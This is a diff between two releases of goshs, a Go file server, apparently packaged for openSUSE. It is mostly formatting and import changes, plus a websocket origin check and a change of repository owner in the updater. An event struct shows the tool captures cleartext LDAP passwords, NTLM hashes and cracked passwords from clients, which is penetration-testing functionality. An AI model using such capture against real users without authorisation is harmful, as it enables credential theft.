FileEndOfFileInformation uint8 = 20 FileStreamInformation uint8 = 22 FileNetworkOpenInformation uint8 = 34 ) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/smbserver/server.go new/goshs-2.1.0/smbserver/server.go --- old/goshs-2.0.9/smbserver/server.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/smbserver/server.go 2026-05-29 12:20:25.000000000 +0200 @@ -317,7 +317,6 @@ // ââ Dispatcher âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ - func (s *SMBServer) dispatch(cs *connState, remoteAddr string, buf []byte) []byte { if len(buf) < 4 { return nil @@ -1158,7 +1157,7 @@ IsDir: fi.IsDir(), DeleteOnClose: (createOptions & FILE_DELETE_ON_CLOSE) != 0, AccessMask: desiredAccess, - Modified: createAction == FILE_CREATED || createAction == FILE_OVERWRITTEN, + Modified: createAction == FILE_CREATED || createAction == FILE_OVERWRITTEN, } cs.addHandle(handle) @@ -1280,7 +1279,6 @@ return ctx } - // buildQFidContext builds a SMB2_CREATE_QUERY_ON_DISK_ID_RESPONSE create context. // Layout (56 bytes): 16-byte header | "QFid" (4) | pad (4) | DiskFileId (16) | VolumeId (16) func buildQFidContext(inode uint64) []byte { @@ -1973,8 +1971,8 @@ std := buildFileStandardInfo(fi) // 24 internal := make([]byte, 8) // FileInternalInformation: 8 putle64(internal, 0, inodeNumber(fi)) - ea := make([]byte, 4) // FileEaInformation: 4 - access := make([]byte, 4) // FileAccessInformation: 4 + ea := make([]byte, 4) // FileEaInformation: 4 + access := make([]byte, 4) // FileAccessInformation: 4 putle32(access, 0, handle.AccessMask) pos := make([]byte, 8) // FilePositionInformation: 8 mode := make([]byte, 4) // FileModeInformation: 4 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/smbserver/session.go new/goshs-2.1.0/smbserver/session.go --- old/goshs-2.0.9/smbserver/session.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/smbserver/session.go 2026-05-29 12:20:25.000000000 +0200 @@ -42,8 +42,8 @@ DeleteOnClose bool AccessMask uint32 SyntheticEntriesSent bool - Modified bool // true if file was created/overwritten/written â triggers CHANGE_NOTIFY on close - IsNullSink bool // true for Alternate Data Stream handles (e.g. Zone.Identifier); writes are silently discarded + Modified bool // true if file was created/overwritten/written â triggers CHANGE_NOTIFY on close + IsNullSink bool // true for Alternate Data Stream handles (e.g. Zone.Identifier); writes are silently discarded } // pendingNotify tracks a held SMB2 CHANGE_NOTIFY request. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/smbserver/srvsvc.go new/goshs-2.1.0/smbserver/srvsvc.go --- old/goshs-2.0.9/smbserver/srvsvc.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/smbserver/srvsvc.go 2026-05-29 12:20:25.000000000 +0200 @@ -159,8 +159,8 @@ // p_result_list: MS-RPCE 2.2.2.4 â n_results(uint8) + reserved(uint8) + reserved2(uint16) body = append(body, byte(nCtx)) // n_results (uint8) - body = append(body, 0x00) // reserved - body = append(body, 0x00, 0x00) // reserved2 + body = append(body, 0x00) // reserved + body = append(body, 0x00, 0x00) // reserved2 // Build result entries: accept the matching context, reject the rest for i := uint16(0); i < nCtx; i++ { @@ -180,10 +180,10 @@ } const ( - srvsvcOpNetShareGetInfo = 16 - srvsvcOpNetServerGetInfo = 13 + srvsvcOpNetShareGetInfo = 16 + srvsvcOpNetServerGetInfo = 13 srvsvcOpNetServerTransportEnum = 21 - wkssvcOpNetWkstaGetInfo = 0 + wkssvcOpNetWkstaGetInfo = 0 ) // handleRPCRequest dispatches an RPC request by opnum. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/smtpserver/backend_test.go new/goshs-2.1.0/smtpserver/backend_test.go --- old/goshs-2.0.9/smtpserver/backend_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/smtpserver/backend_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -4,11 +4,11 @@ "strings" "testing" + "github.com/stretchr/testify/require" "goshs.de/goshs/v2/clipboard" "goshs.de/goshs/v2/options" "goshs.de/goshs/v2/webhook" "goshs.de/goshs/v2/ws" - "github.com/stretchr/testify/require" ) func TestAuthPlain(t *testing.T) { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/tunnel/tunnel.go new/goshs-2.1.0/tunnel/tunnel.go --- old/goshs-2.0.9/tunnel/tunnel.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/tunnel/tunnel.go 2026-05-29 12:20:25.000000000 +0200 @@ -11,9 +11,9 @@ "strings" "time" - "goshs.de/goshs/v2/logger" "golang.org/x/crypto/ssh" "golang.org/x/crypto/ssh/knownhosts" + "goshs.de/goshs/v2/logger" ) // HostKeyMismatchError is returned by Start when the server presents a host diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/update/update.go new/goshs-2.1.0/update/update.go --- old/goshs-2.0.9/update/update.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/update/update.go 2026-05-29 12:20:25.000000000 +0200 @@ -22,7 +22,7 @@ ) const ( - owner = "patrickhener" + owner = "goshs-labs" repo = "goshs" GOSHS_CHECKSUMS = "checksums.txt" ) @@ -244,7 +244,7 @@ return nil, err } - for _, line := range strings.Split(string(data), "\n") { + for line := range strings.SplitSeq(string(data), "\n") { fields := strings.Fields(line) if len(fields) == 2 && fields[1] == assetName { return hex.DecodeString(fields[0]) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/update/update_test.go new/goshs-2.1.0/update/update_test.go --- old/goshs-2.0.9/update/update_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/update/update_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -4,8 +4,8 @@ "testing" "github.com/google/go-github/v85/github" - "goshs.de/goshs/v2/goshsversion" "github.com/stretchr/testify/require" + "goshs.de/goshs/v2/goshsversion" ) func TestCheckForUpdates(t *testing.T) { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/ws/client.go new/goshs-2.1.0/ws/client.go --- old/goshs-2.0.9/ws/client.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/ws/client.go 2026-05-29 12:20:25.000000000 +0200 @@ -150,7 +150,9 @@ // ServeWS will handle the socket connections func ServeWS(hub *Hub, w http.ResponseWriter, r *http.Request) bool { - conn, err := websocket.Accept(w, r, nil) + conn, err := websocket.Accept(w, r, &websocket.AcceptOptions{ + OriginPatterns: []string{r.Host}, + }) if err != nil { logger.Errorf("Failed to upgrade ws: %+v", err) return false diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/ws/events.go new/goshs-2.1.0/ws/events.go --- old/goshs-2.0.9/ws/events.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/ws/events.go 2026-05-29 12:20:25.000000000 +0200 @@ -45,19 +45,19 @@ } type LDAPEvent struct { - Type string `json:"type"` // "ldap" - Operation string `json:"operation"` // "bind", "search", or "ntlm" - DN string `json:"dn"` // bind DN or search baseDN - Password string `json:"password"` // cleartext for simple bind; "[SASL: mech]" for SASL + Type string `json:"type"` // "ldap" + Operation string `json:"operation"` // "bind", "search", or "ntlm" + DN string `json:"dn"` // bind DN or search baseDN + Password string `json:"password"` // cleartext for simple bind; "[SASL: mech]" for SASL // NTLM capture fields â only set when Operation == "ntlm" - Username string `json:"username,omitempty"` - Domain string `json:"domain,omitempty"` - Hash string `json:"hash,omitempty"` - HashType string `json:"hashType,omitempty"` - HashcatMode string `json:"hashcatMode,omitempty"` - CrackedPassword string `json:"crackedPassword,omitempty"` - Source string `json:"source"` // client IP:port - Timestamp time.Time `json:"timestamp"` + Username string `json:"username,omitempty"` + Domain string `json:"domain,omitempty"` + Hash string `json:"hash,omitempty"` + HashType string `json:"hashType,omitempty"` + HashcatMode string `json:"hashcatMode,omitempty"` + CrackedPassword string `json:"crackedPassword,omitempty"` + Source string `json:"source"` // client IP:port + Timestamp time.Time `json:"timestamp"` } type NTLMEvent struct { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/ws/hub.go new/goshs-2.1.0/ws/hub.go --- old/goshs-2.0.9/ws/hub.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/ws/hub.go 2026-05-29 12:20:25.000000000 +0200 @@ -33,11 +33,11 @@ cliEnabled bool // Ring BUffers - capped storage survives client reconnect - HTTPLog *RingBuffer - DNSLog *RingBuffer - SMTPLog *RingBuffer - SMBLog *RingBuffer - LDAPLog *RingBuffer + HTTPLog *RingBuffer + DNSLog *RingBuffer + SMTPLog *RingBuffer + SMBLog *RingBuffer + LDAPLog *RingBuffer } // NewHub will create a new hub diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/ws/ws_test.go new/goshs-2.1.0/ws/ws_test.go --- old/goshs-2.0.9/ws/ws_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/ws/ws_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -9,8 +9,8 @@ "time" "github.com/coder/websocket" - "goshs.de/goshs/v2/clipboard" "github.com/stretchr/testify/require" + "goshs.de/goshs/v2/clipboard" ) func TestDispatchReadPump_NewEntry(t *testing.T) { ++++++ vendor.tar.gz ++++++ /work/SRC/openSUSE:Factory/goshs/vendor.tar.gz /work/SRC/openSUSE:Factory/.goshs.new.1937/vendor.tar.gz differ: char 17, line 1
